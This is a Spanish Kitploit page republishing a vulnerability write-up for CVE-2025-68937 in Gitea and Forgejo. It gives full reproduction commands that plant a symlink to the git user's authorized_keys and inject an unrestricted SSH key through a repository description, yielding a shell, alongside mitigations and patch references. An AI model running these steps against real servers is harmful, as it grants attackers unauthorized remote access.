Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Gitea-Forgejo-CVE-2025-68937 — Un directory traversal en el procesamiento de plantillas de repositorio de Gitea y Forgejo permite a atacantes remotos autenticados procesar archivos arbitrarios en el sistema de archivos, lo que conduce a la ejecución remota de código. | Kitploit
Herramientas/GitHubGitHub/clemax/gitea-forgejo-cve-2025-68937
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubclemax/gitea-forgejo-cve-2025-68937

Gitea-Forgejo-CVE-2025-68937

Un directory traversal en el procesamiento de plantillas de repositorio de Gitea y Forgejo permite a atacantes remotos autenticados procesar archivos arbitrarios en el sistema de archivos, lo que conduce a la ejecución remota de código.

Ver Repositorio
1hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad de expansión arbitraria de plantillas en Gitea y Forgejo

forgejo-cve CC BY-SA 4.0

Este trabajo está licenciado bajo una Licencia Creative Commons Atribución-CompartirIgual 4.0 Internacional.

CC BY-SA 4.0

Resumen

Al revisar el código fuente de Forgejo y Gitea para entender mejor cómo se realiza el templating, descubrí una vulnerabilidad que permite a un usuario autenticado crear un repositorio de plantillas malicioso que puede ser utilizado para procesar archivos arbitrarios en el sistema de archivos.

Al crear un repositorio basado en el contenido Git de la plantilla maliciosa, la plantilla podrá expandir archivos arbitrarios en el sistema de archivos.

Conociendo la ruta del directorio home del usuario git (que por defecto es en la imagen oficial de Docker), un atacante puede expandir el archivo del usuario para inyectar una clave sin el parámetro , que puede usarse para ejecutar comandos arbitrarios o un shell interactivo.

/data/git
.ssh/authorized_keys
git
command

Detalles técnicos

Versiones afectadas: Gitea >= v1.11.0-rc1 && <= v1.24.6, Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)

Componente afectado: Repositorios de plantillas

Causa raíz: Desreferencia de enlaces simbólicos al leer y escribir contenidos de archivos de plantillas

Flujo de explotación

  1. El atacante se autentica como un usuario legítimo

  2. El atacante crea un repositorio de plantillas malicioso que contiene un enlace simbólico al archivo .ssh/authorized_keys del usuario git adivinado y un archivo .forgejo/template que referencia el enlace simbólico

  3. El atacante añade una clave pública SSH a su cuenta con un comentario personalizado que termina con ${REPO_DESCRIPTION}

  4. El atacante crea un repositorio que referencia el repositorio de plantillas malicioso con el templating de contenido Git habilitado y una descripción que contiene un salto de línea seguido de otra clave pública SSH

  5. Gitea/Forgejo lee y aplica plantillas al enlace simbólico authorized_keys, haciendo que el comentario de la clave pública previamente establecida se expanda a una entrada arbitraria correspondiente a la descripción del repositorio del atacante, sin el parámetro command

  6. El atacante inicia sesión de forma interactiva como el usuario git, usando la clave inyectada

También es posible que el atacante corrompa archivos de configuración, la base de datos SQLite o cause denegación de servicio al leer archivos enormes.

Mitigación

  • Deshabilitar el registro para usuarios no confiables
  • Deshabilitar la creación de repositorios para usuarios no confiables

Reproducción

  1. Instalar y configurar una versión vulnerable de Gitea/Forgejo

  2. Registrar o crear una cuenta para el atacante usando la cuenta de administrador

  3. Iniciar sesión con la cuenta del atacante

  4. Generar dos claves SSH diferentes: una para Git y otra para SSH interactivo

root@kitploit:~
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
  1. Agregar el contenido del archivo ~/.ssh/attacker-git.pub como una clave SSH autorizada usando la interfaz de Gitea/Forgejo

El comentario de la clave debe estar presente y verse así:

root@kitploit:~
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

El archivo .ssh/authorized_keys del usuario git ahora se ve así:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
  1. Crear un repositorio de plantillas malicioso usando la interfaz de Gitea/Forgejo

  2. Clonar el repositorio de plantillas y agregar el enlace simbólico malicioso y la configuración de plantillas

root@kitploit:~
# Clonar el repositorio de plantillas
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template

# Crear enlace simbólico malicioso
ln -s /data/git/.ssh/authorized_keys

# Cuando se usa Gitea, crear la configuración de plantilla de Gitea
mkdir .gitea
echo authorized_keys > .gitea/template

# Cuando se usa Forgejo, crear la configuración de plantilla de Forgejo
mkdir .forgejo
echo authorized_keys > .forgejo/template

# Confirmar y enviar los cambios
git add -A
git commit -m 'Initial commit'

git push
  1. Crear un nuevo repositorio que referencia el repositorio de plantillas malicioso con el templating de contenido Git habilitado y una descripción que contenga un salto de línea seguido del contenido del archivo ~/.ssh/attacker-ssh.pub

La descripción del repositorio debería verse así:

root@kitploit:~
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine

El replaced en la primera línea no es necesario, pero debes asegurarte de que el salto de línea siga presente de todas formas. El comentario attacker@machine al final de la línea también es opcional.

El archivo .ssh/authorized_keys resultante del usuario git se verá así:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
  1. Conectar usando la clave ~/.ssh/attacker-ssh y el cliente ssh
root@kitploit:~
ssh -i ~/.ssh/attacker-ssh git@localhost -p 222

Referencias

  • Notas de la versión de Gitea
  • Solicitud de extracción de Gitea
  • Notas de la versión 13.0.2 de Forgejo
  • Notas de la versión 11.0.7 de Forgejo
  • Parche de Forgejo
Descargar herramienta